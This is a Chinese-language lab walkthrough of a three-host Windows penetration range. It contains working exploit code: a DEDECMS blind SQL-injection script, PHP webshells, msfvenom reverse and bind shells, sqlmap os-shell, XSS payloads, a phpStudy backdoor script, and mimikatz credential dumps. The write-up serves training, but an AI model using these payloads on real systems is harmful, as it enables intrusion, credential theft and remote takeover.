Windows内网多级渗透
The following article is from A11Safe Author toxic80l
公众号现在只对常读和星标的公众号才展示大图推送,
建议大家把听风安全设为星标,否则可能就看不到啦!
----------------------------------------------------------------------
本文主要为 Windows 多级内网渗透,其中涉及多种技术,包括子域名探测、SQL注入、烂土豆提权、MSSQL提权、.NET代码审计、mimikatz密码获取等知识。
0x01 靶机环境搭建
靶场中包含三台靶机,具体的网络拓扑图如下
在虚拟网络编辑器中创建两个主机网段10.10.10.0/24
、10.10.1.0/24
,分别将其命名为VMnet18
、VMnet19
完成后根据拓扑图环境分别配置三台靶机的主机网卡
护卫神主机管理员的默认密码为!@#Qwe123.
,登录后查看IP地址为192.168.0.134
当然也可以使用 netdiscover 发现内网主机
netdiscover 192.168.0.0/24
正常访问目标站点,说明环境成功搭建完成
接下来需要在 hosts 文件中绑定域名解析
sudo vim /etc/hosts
## 配置
192.168.0.134 www.cc123.com
成功访问目标站点,靶机环境部署完成
0x02 外网边界突破
端口扫描
使用 masscan 快速扫描目标全部端口
sudo masscan -p 1-65535 192.168.0.134 --rate=200
在使用 masscan 进行扫描时需要注意扫描速率,速率太快很可能导致端口扫描情况不准确,比如我之前分别使用 500 以及 1000 的速率进行扫描均未得到完整的端口信息
使用 nmap 对 masscan 扫描到的端口进行具体的信息探测
nmap -A -sC -p 21,53,80,135,999,3389,6588,49154,49155 192.168.0.134
80端口
访问域名后界面为科讯CMS,站点采用的中间件为 IIS 7
999端口
访问后界面为数据库管理工具 PHPMyAdmin
6588端口
访问后界面为护卫神主机大师的登录界面
子域名扫描
在端口探测时目标开放了53端口,说明存在域名解析服务,因此我们可以将该主机作为域名解析服务器来解析cc123.com
,从而探测它的子域名。尝试修改 DNS 解析服务器
sudo vim /etc/resolv.conf
## 配置
nameserver 192.168.0.134
与此同时在服务器上添加 DNS 域名解析
使用 wfuzz 进行子域名枚举
wfuzz -w /usr/share/amass/wordlists/subdomains-top1mil-110000.txt -u cc123.com -H "Host:FUZZ.cc123.com" --hw 53
www.cc123.com
new.cc123.com
ww2.cc123.com
访问new
子域名,界面显示为织梦CMS
访问ww2
子域名,界面显示为一家名为亿成的市政服务公司官网
0x03 new子域渗透
前台SQL注入
由于new
子域名对应的是 DEDECMS,默认后台登录路径为/dede
,尝试使用弱口令登录无果
默认前台登录路径为/member
,尝试弱口令也是无果
在注册界面中注册用户mac/mac
,同时完善用户信息
进入个人用户中心
访问路径/data/admin/ver.txt
发现当前 DEDECMS 的版本为20150618,可能存在SQL注入漏洞
筛选 Cookie 并将其放入cookies.txt
当中
源代码如下:
import sys,os
import urllib2
import time
opener = urllib2.build_opener()
def getCookes():
line = open('cookies.txt','r')
c = line.readline()
line.close()
return c
cookie=getCookes()
opener.addheaders.append(('Cookie',cookie))
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
def exploite(target):
password = ""
for i in range(1,21):
for p in payloads:
s1 = "%s" %(i)
s2 = "%s" %(ord(p))
s = target+"/member/mtypes.php?dopost=save&_FILES[mtypename][name]=.xxxx&_FILES[mtypename][type]=xxxxx&_FILES[mtypename][tmp_name][a'%20and%20`'`.``.mtypeid%20or%20if(ascii(substr((select%20pwd%20from%20dede_admin%20limit%201),"+s1+",1))%3d"+s2+",sleep(4),0)%20and%20mtypeid%3d1%23]=w&_FILES[mtypename][size]=.xxxx"
start_time = time.time()
try:
req = urllib2.Request(s)
req_data=opener.open(req,timeout=20)
now = time.strftime('%H:%M:%S',time.localtime(time.time()))
if time.time() - start_time > 4.0:
password = password+p
print "["+str(now)+"]: "+s1+" -> "+password
except urllib2.URLError,e:
print e;
return password
def myhelp():
print "\n+------------------------------+"
print "| Dedecms 20150618 member sqli|"
print "| mOon www.moonsec.com |"
print "| MTEAM:moon@moonsec.com |"
print "+------------------------------+\n"
def main():
if len(sys.argv)< 2:
myhelp()
sys.exit()
now = time.strftime('%H:%M:%S',time.localtime(time.time()))
print "["+str(now)+"] [INFO] Dedecms 20150618 member sqli.."
print "password is %s" % (exploite(sys.argv[1]))
if __name__ == '__main__':
main()
使用脚本进行扫描 SQL 注入漏洞,但测试失败
python2 exp.py http://new.cc123.com
其注入前提是需要在分类管理中添加分类,其中分类名称任意
操作完成后再次扫描,虽然能够成功注入,但是注入明显还是有点问题
切换 Windows 进行测试,完成域名解析以及 Python 安装后再次扫描
python exp.py http://new.cc123.com
成功拿到密文为812df726be884ddcfc41
,在解密网站中成功解密为admin7788
后台上传木马
使用admin/admin7788
成功登录网站后台
找到文件管理员并向其中上传一句话木马
<?php eval($_POST['mac'])?>
使用蚁剑成功连接木马,木马地址为http://new.cc123.com/uploads/mac.php
烂土豆提权
尝试在蚁剑中执行命令,但是命令执行失败
说明当前权限较低,与此同时发现 ASP.NET 目录,那么上传 aspx 是否能解析呢?
上传 aspx 木马AspxSpy2014Final.aspx
并访问发现成功解析,输入密码admin
进入大马
命令执行发现当前权限比 PHP 小马的权限高
但是当前权限仍然不足,我们可使用 MSF 进行提权,首先生成 EXE 类型木马
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.0.114 lport=7777 -f exe > mac.exe
与此同时在本地监听7777端口
msfconsole
msf > use exploit/multi/handler
msf > set lhost 192.168.0.114
msf > set payload windows/meterpreter/reverse_tcp
msf > set lport 7777
msf > show options
msf > exploit -j
上传木马后无法运行,需要上传脚本检查目录的执行权限
成功找到可用目录为c:\windows\debug\WIA
,在该目录下上传木马并执行
成功收到 meterpreter
使用local_exploit_suggester
模块寻找可用的提权漏洞,但是又出现报错
msf > use post/multi/recon/local_exploit_suggester
msf > set session 1
msf > show options
msf > run
选择 MS16-075 进行提权,成功拿到 SYSTEM 权限
msf > use exploit/windows/local/ms16_075_reflection_juicy
msf > set session 1
msf > run
在站点目录中成功找到第一个flag
cd C:\HwsHostMaster\wwwroot\ww2cc123_55m39g\web\upimg
dir
type flag.txt
在管理员目录下成功找到第二个flag
cd C:\Users\Administrator
dir
type flag2.txt
0X04 ww2子域渗透
后台SQL注入
使用 gobuster 扫描目标站点,成功发现后台目录/admin
以及/editor
gobuster dir -u http://ww2.cc123.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x "asp,html" -o ww2_cc123_com.txt
访问admin
后界面为 GrCMS 管理系统
使用 BurpSuite 截取登录数据包,重放后数据包仍然有用说明验证码可以复用,尝试爆破管理员 admin 的密码
成功拿到密码为cc123
,与此同时在对用户名进行爆破时发现目标存在万能密码漏洞
POST /admin/Login.aspx HTTP/1.1
Host: ww2.cc123.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 499
Origin: http://ww2.cc123.com
Connection: close
Referer: http://ww2.cc123.com/admin/Login.aspx
Cookie: _ga_7VBGV5VRLB=GS1.1.1653417876.1.1.1653417947.0; _ga=GA1.2.961710506.1653417877; _ga_6NMMDGGQXS=GS1.1.1653417876.1.1.1653417947.0; CheckCode=4JP4; ASP.NET_SessionId=nqhoxe5j1pxeop0macvxdqgn
Upgrade-Insecure-Requests: 1
__VIEWSTATE=%2FwEPDwUJMzMyMjA3OTM4ZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WAQUMSW1hZ2VCdXR0b24xqZOLn0fzcRfu7EbEDKHoyvx3obU94MS6VAUneBJOkZ0%3D&__VIEWSTATEGENERATOR=82312306&__EVENTVALIDATION=%2FwEdAAc5ZYESCKH66fJHGLAe4TLCKhoCyVdJtLIis5AgYZ%2FRYe4sciJO3Hoc68xTFtZGQEgOC%2FFhCJvlJJDlu9nTwjvq6ZACrx5RZnllKSerU%2BIuKh2nXP6dhZn6mKtmTGNHd3MtizSQ3FDPz4jhBkvaNoE1AM2SGgwYOgU2pIFlxhELWg1KHCIX5swqFeVF8xxNL%2Fg%3D&username=admin*&password=123456&safecode=4JP4&ImageButton1.x=30&ImageButton1.y=4&TextBox2=
万能密码的本质是 SQL 注入漏洞,因此可使用 sqlmap 进行注入
sqlmap -r sqli.txt --banner --current-user
1、数据库为MSSQL
2、当前用户为数据库管理员sa
sqlmap -r sqli.txt --dbs --dbms mssql
由于当前用户为 sa,开启xp_cmdshell
组件后可执行命令,通过 sqlmap 中的--os-shell
自动化执行操作,查看权限发现当前用户为系统权限
sqlmap -r sqli.txt --os-shell
ipconfig
.NET代码审计
通过 SYSTEM 权限进入主机 ww2cc123 目录当中,目录中都是aspx
文件
dir c:\HwsHostMaster\wwwroot\ww2cc123_55m39\web
但访问站点时并没有发现 asp 文件,说明站点可能采用了伪静态技术
查看配置文件web.config
找到伪静态规则
type web.config
而 aspx 文件并没有实质内容,配置代码全部都在bin
目录当中,将该目录下载下来
cd c:/
cd HwsHostMaster/wwwroot/ww2cc123_55m39/web/
download bin
使用 ILSPY 进行反编译,导入对应的 dll 文件即可获取到对应代码
反编译App_Web_login.aspx
dll 文件后的代码如下:
验证码重用
protected void ImageButton1_Click(object sender, ImageClickEventArgs e)
{
if (base.Request.Cookies["CheckCode"].Value == safecode.Text.Trim().ToUpper())
{
string sql = "select * from admin where username='" + username.Text.Trim() + "' and password='" + StringClass.Encrypt(password.Text.Trim(), "yx139222") + "'";
DataSet tableData = DBClass.GetTableData(sql, "admin");
if (tableData != null && tableData.Tables["admin"].Rows.Count > 0)
{
Session["users"] = username.Text.Trim();
base.Response.Redirect("index.aspx");
}
else
{
base.Response.Write("<script>alert('姓名或密码输入错误!');javascript:history.back(-1);</script>");
}
}
else
{
base.Response.Write("<script>alert('验证码输入错误!');javascript:history.back(-1);</script>");
}
}
在 ImageButton1_Click 函数中发现验证码验证机制,假设我们通过重用验证码进行爆破,登录失败只会直接提示姓名或密码输入错误,而没有刷新验证码操作,这导致了验证码重用漏洞的产生
后台SQL注入
与此同时以上代码还将用户名和密码直接传递给 SQL 语句,但是代码中并未对输入进行过滤,导致我们可以进行 SQL 注入,比如将用户设置为admin'--
,对应的 SQL 语句如下:
select * from admin where username='admin'--' and password='xxx';
以上 SQL 语句的结果为真,利用admin'--
能够直接登录目标后台,也就是说存在万能密码漏洞。经实践后可绕过身份认证机制成功登录管理后台
进一步对其他 ASP.Net 代码反编译后台文件,同样未对 SQL 参数输入进行过滤,这说明可能全局存在 SQL 注入漏洞
后台编辑器文件上传
查看目标源码资源,成功发现编辑器的名字为 KindEditor,这个编辑器存在文件上传以及XSS漏洞
首先在后台中点击文件上传,文件源码如下:
<script>alert(document.cookie)</script>
通过 Burp 抓取数据包,将参数 dir 中的值有 image 转换为 file
成功上传,访问该地址成功弹出 cookie 信息
前台XSS
在前台所有文件都是正常的 aspx 脚本,成功拿到如下源码信息
<%@ page language="c#" runat="server" %>
<script language="c#" runat="server">
public string strStyle;
public string strtheurl;
public void Page_Load(Object src,EventArgs e)
{
NameValueCollection ServerVariables = Request.ServerVariables;
strStyle=Request.QueryString["style"];
strtheurl=ServerVariables["URL"].ToString();
strtheurl=strtheurl.Substring(0,strtheurl.IndexOf("mystat.aspx",0,strtheurl.Length));
strtheurl="http://"+ServerVariables["HTTP_HOST"].ToString()+strtheurl;
}
</script>
document.write("<script>var style='<%=strStyle%>';var url='<%=strtheurl%>';</script>")
_dwrite("<script language=javascript src="+url+"stat.aspx?style="+style+"&referer="+escape(document.referrer)+"&screenwidth="+(screen.width)+"></script>");
function _dwrite(string) {document.write(string);}
如果直接输出会存在 XSS 漏洞,具体 payload 如下:
mystat.aspx?style=</script><script>alert(/xss/)</script><script>
成功弹出 XSS
解密对称加密密文
在进行SQL注入时只拿到用户的密文密码
在站点目录C:\HwsHostMaster\wwwroot\ww2cc123_55m39g\web
中发现网站配置文件web.config
,其中包含数据库连接账号密码sa/!@#a123..
在木马中连接数据库,查找对应的账号密码字段
admin AE5F6187F32825CA
cc123 B97C57DB005F954242450A255217DA9F
在APP_Web_login.aspx
中发现密钥为yx139222
string sql = "select * from admin where username='" + username.Text.Trim() + "' and password='" + StringClass.Encrypt(password.Text.Trim(), "yx139222") + "'";
单击Encrypt
跳转至加密函数当中,源代码如下:
public static string Encrypt(string pToEncrypt, string sKey)
{
DESCryptoServiceProvider dESCryptoServiceProvider = new DESCryptoServiceProvider();
byte[] bytes = Encoding.Default.GetBytes(pToEncrypt);
dESCryptoServiceProvider.Key = Encoding.ASCII.GetBytes(sKey);
dESCryptoServiceProvider.IV = Encoding.ASCII.GetBytes(sKey);
MemoryStream memoryStream = new MemoryStream();
CryptoStream cryptoStream = new CryptoStream(memoryStream, dESCryptoServiceProvider.CreateEncryptor(), CryptoStreamMode.Write);
cryptoStream.Write(bytes, 0, bytes.Length);
cryptoStream.FlushFinalBlock();
StringBuilder stringBuilder = new StringBuilder();
byte[] array = memoryStream.ToArray();
foreach (byte b in array)
{
stringBuilder.AppendFormat("{0:X2}", b);
}
stringBuilder.ToString();
return stringBuilder.ToString();
}
同时还发现解密函数Decrypt
,源代码如下:
public static string Decrypt(string pToDecrypt, string sKey)
{
DESCryptoServiceProvider dESCryptoServiceProvider = new DESCryptoServiceProvider();
byte[] array = new byte[pToDecrypt.Length / 2];
for (int i = 0; i < pToDecrypt.Length / 2; i++)
{
int num = Convert.ToInt32(pToDecrypt.Substring(i * 2, 2), 16);
array[i] = (byte)num;
}
dESCryptoServiceProvider.Key = Encoding.ASCII.GetBytes(sKey);
dESCryptoServiceProvider.IV = Encoding.ASCII.GetBytes(sKey);
MemoryStream memoryStream = new MemoryStream();
CryptoStream cryptoStream = new CryptoStream(memoryStream, dESCryptoServiceProvider.CreateDecryptor(), CryptoStreamMode.Write);
cryptoStream.Write(array, 0, array.Length);
cryptoStream.FlushFinalBlock();
new StringBuilder();
return Encoding.Default.GetString(memoryStream.ToArray());
}
尝试通过 VS2019 来编写 DES 解密工具,首先选择 .net 框架为 4.5
创建控件绘制窗口UI,完成后如下
将解密函数添加其中,与此同时添加执行脚本
public static string Decrypt(string pToDecrypt, string sKey)
{
...
}
private void button2_Click(object sender,EventArgs e)
{
string password = textBox4.Text.Trim();
string key = textBox2.Text.Trim();
textBox1.Text = Decrypt(password, key)
}
编译生成后运行,同时输入密文值
解密成功后获得如下账号密码
admin AE5F6187F32825CA cc123
cc123 B97C57DB005F954242450A255217DA9F qwasd123
0x05 内网横向渗透
基础环境信息收集
使用 MSF 执行命令可以发现目标存在两个IP
meterpreter > ifconfig
IP地址分别如下:
192.168.0.134
10.10.10.130
利用模块get_local_subnets
查看当前网段
meterpreter > run get_local_subnets
IP网段分别如下:
192.168.0.0/24
10.10.10.0/24
在转移进程前需查看当前主机进程
meterpreter > ps
成功将进程迁移到其他正常 SYSTEM 进程下
使用 hashdump 获取哈希值,但系统出现报错
meterpreter > run hashdump
利用 mimikatz 获取明文密码
meterpreter > load mimikatz
meterpreter > creds_msv
meterpreter > creds_kerberos
Username Domain NTLM SHA1 LM
-------- ------ ---- ---- --
Administrator WIN-KALKEMT3JMA 1c933df09b600efabee0791aa ef773c356ba88403c1eabc39d 32801fe143b57a06b58412991
ccc43f2 dfd5cf33fb9a8f6 20d114d
MySQL_HWS WIN-KALKEMT3JMA 6a75a75e4cfd3cf00faf743e1 ccde64b1b93163969d778388f
7e90a53 08a131cea449f8d
cc123 WIN-KALKEMT3JMA afdeb425b4a55982deb4e80fa 279a2fa09ccdeb4578150600b 84fd84bc774b68b61271405ef
3387576 f92b9c2d4e76c75 a18e1ef
newcc123 WIN-KALKEMT3JMA 97824315153b4dd665d6c688f c993d52cb47bba40050187e3a
446ebf1 b6e440b0cd479c3
Username Domain Password
-------- ------ --------
(null) (null) (null)
Administrator WIN-KALKEMT3JMA !@#Qwe123.
MySQL_HWS WIN-KALKEMT3JMA 5f 00 48 00 68 00 38 00 40 00 69 00 4f 00 77 00 40 00 40 00 54 00 73 00 37 0
0 59 00 4b 00 71 00 64 00 57 00 4a 00 32 00 09 ff 57 00 4a 00 32 00 77 00 6d
00 54 00 61 00 46 00 28 00
cc123 WIN-KALKEMT3JMA Ht6_ifp6nvkjn
newcc123 WIN-KALKEMT3JMA ZtKGmDj0qEbDECSBl5p
newcc123 IIS APPPOOL (null)
win-kalkemt3jma$ WORKGROUP (null)
如果需要查看相关帮助信息,可以执行help kiwi
命令
建立socks代理
添加10.10.10.0/24
内网路由段
meterpreter > run autoroute -s 10.10.10.0/24
查看当前已添加路由
meterpreter > run autoroute -p
socks_proxy
建立 socks 代理
meterpreter > use auxiliary/server/socks_proxy
meterpreter > set srvport 2222
meterpreter > show options
meterpreter > run
通过 proxychains 建立代理
vim /usr/local/etc/proxychains.conf
#配置
socks5 127.0.0.1 2222
使用 nmap 通过代理进行扫描,测试成功
proxychains4 nmap -Pn 10.10.10.131
端口扫描结果如下:
渗透数据库服务器
使用 MSF 生成正向连接木马
msfvenom -p windows/meterpreter/bind_tcp lport=12222 -f exe > mac2.exe
把木马mac2.exe
通过站点木马中的 MSSQL 数据库连接函数完成上传
执行上传木马,在数据库服务器中开启 12222 端口
使用 MSF 开启监听以获取数据库服务器的权限
msf > use exploit/multi/handler
msf > set payload windows/meterpreter/bind_tcp
msf > set rhost 10.10.10.131
msf > set lport 12222
msf > show options
msf > run
同理将进程迁移到系统进程当中
meterpreter > ps
meterperter > migrate 596
查看网络信息发现目标存在两个IP地址
meterpreter > ifconfig
10.10.10.131
10.10.1.129
利用模块get_local_subnets
查看当前网段
meterpreter > run get_local_subnets
10.10.10.0/24
10.10.1.0/24
获取数据库服务器哈希值,与此同时加载 mimikatz 获取明文
meterpreter > hashdump
meterpreter > load mimikatz
meterpreter > creds_msv
meterpreter > creds_kerberos
Administrator:500:aad3b435b51404eeaad3b435b51404ee:15132c3d36a7e5d7905e02b478979046:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
未拿到明文的原因是未登录数据库服务器,一旦登录到数据库服务器当中,服务器就会缓存密码信息,登录后再次获取成功拿到明文密码
meterpreter > creds_all
Username Domain Password
-------- ------ --------
Administrator WIN-JJU7KU45PN7 !@#QWEasd123.
在管理员目录中成功拿到第三个flag
meterpreter > cd C:/Users/Administrator
meterpreter > cat root.txt.txt
渗透目标服务器
通过 MSF 添加目标网段10.10.1.0/24
run autoroute -s 10.10.1.0/24
run autoroute -p
使用代理对目标主机进行扫描
proxychains4 nmap -Pn 10.10.1.128
端口扫描结果如下:
通过代理访问目标80端口为 phpstudy 界面
众所周知在 phpstudy 中存在一个后门,影响版本如下
phpstudy 2016 php-5.4
phpstudy 2018 php-5.2.17
phpstudy 2018 php-5.4.45
通过 BurpSuite 抓包修改请求头,测试该站点是否存在该漏洞(需要注意的是 BurpSuite 也要设置代理,否则无法访问到 10.10.1.0/24 网段)
Accept-charset: c3lzdGVtKCd3aG9hbWknKTs=
Accept-Encoding: gzip,deflate
但是并未执行成功,尝试编写 python 脚本进行自动化执行命令
#conding:utf-8
import requests
import socks
import socket
import sys
import base64
command = "system('"+sys.argv[1]+"');"
url = "http://10.10.1.128"
socks.set_default_proxy(socks.SOCKS5, "127.0.0.1", 2222)
socket.socket = socks.socksocket
command_bs64 = base64.b64encode(command.encode("utf-8"))
#print(command_bs64)
headers = {'Accept-charset':command_bs64,'Accept-Encoding':'gzip,deflate'}
def exp(target_url):
req = requests.get(url, headers=headers).text
return req
print(exp(url))
成功写入shell
python3 exp.py "echo ^<?php @eval(\$_POST[\"mac\"])?^>>c:\phpstudy\WWW\shell.php"
shell.php
存在,说明成功写入
在菜刀中设置 socks 代理
设置木马地址以及密码后点击连接即可成功访问到目标服务器
通过命令执行发现当前权限为 SYSTEM
还是和之前一样上传 MSF 生成的木马mac2.exe
,通过命令c:\mac2.exe
执行木马
查看端口发现12222端口已开放,说明木马运行成功
使用 MSF 建立监听,通过正向连接成功获取目标服务器权限
msf > use exploit/multi/handler
msf > set payload windows/meterpreter/bind_tcp
msf > set rhost 10.10.1.128
msf > set lport 12222
msf > show options
msf > run
将当前进程迁移至系统进程
meterpreter > ps
meterpreter > migrate 468
获取哈希值
meterpreter > hashdump
加载 mimikatz 拿到明文密码
meterpreter > load mimikatz
meterpreter > creds_all
Username Domain Password
-------- ------ --------
Administrator TARGET !@#QWEasd123.
target$ WORKGROUP (null)
对应的哈希值如下:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:15132c3d36a7e5d7905e02b478979046:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
在管理员目录当中发现最后一个flag
meterpreter > cd C:/Users/Administrator
meterpreter > cat root.txt
0x06 靶场学习总结
整个靶场全面地展示了 Windows 内网渗透,web 服务器部署方式为站库分离,因此假设我们拿下数据库也无法出网,幸好其中的子域名存在多个漏洞,可利用这些攻击面来进行攻击。通过信息收集发现new
子域名的 CMS 为 DEDECMS,在该版本的 DEDECMS 可能存在 SQL 注入漏洞,利用注入成功找到后台的账号密码,经解密后拿到密码明文并成功登录后台,在后台中发现服务器文件管理界面,在其中上传木马便可成功拿到 IIS 权限,使用烂土豆(MS16-075)将其提权至系统权限。
通过信息收集发现ww2
子域名的 CMS 为 GrCMS,通过目录扫描找到管理登录界面,经测试存在万能密码和弱口令漏洞,由于万能密码的本质是 SQL 注入漏洞,使用 sqlmap 注入发现数据库权限为 sa,借助 xp_cmdshell 提权拿到数据库服务器的系统权限。进入服务器发现站点采用伪静态,使用后台脚本语言为asp.net
,尝试针对 .NET 进行代码审计找到许多漏洞,其中包括验证码重用、后台 SQL 注入、编辑器文件上传、前台 XSS 等。这些漏洞可用于后期编写渗透测试报告,提高劳动产出。
完成代码审计后进入内网渗透环节,利用 sqlmap 的os-shell
执行命令上线 MSF,在中数据库服务器中通过信息收集发现另一个网段10.10.10.0/24
。建立 socks 代理访问目标网段,在目标主机上发现其开放服务为 phpStudy,尝试利用 phpStudy 后门漏洞写入 webshell,正向连接成功上线 MSF,拿到目标服务器的系统权限。该靶场非常贴近实战,十分适合网络安全进阶人员练习,在实战渗透时能够提供给我们非常好的借鉴作用。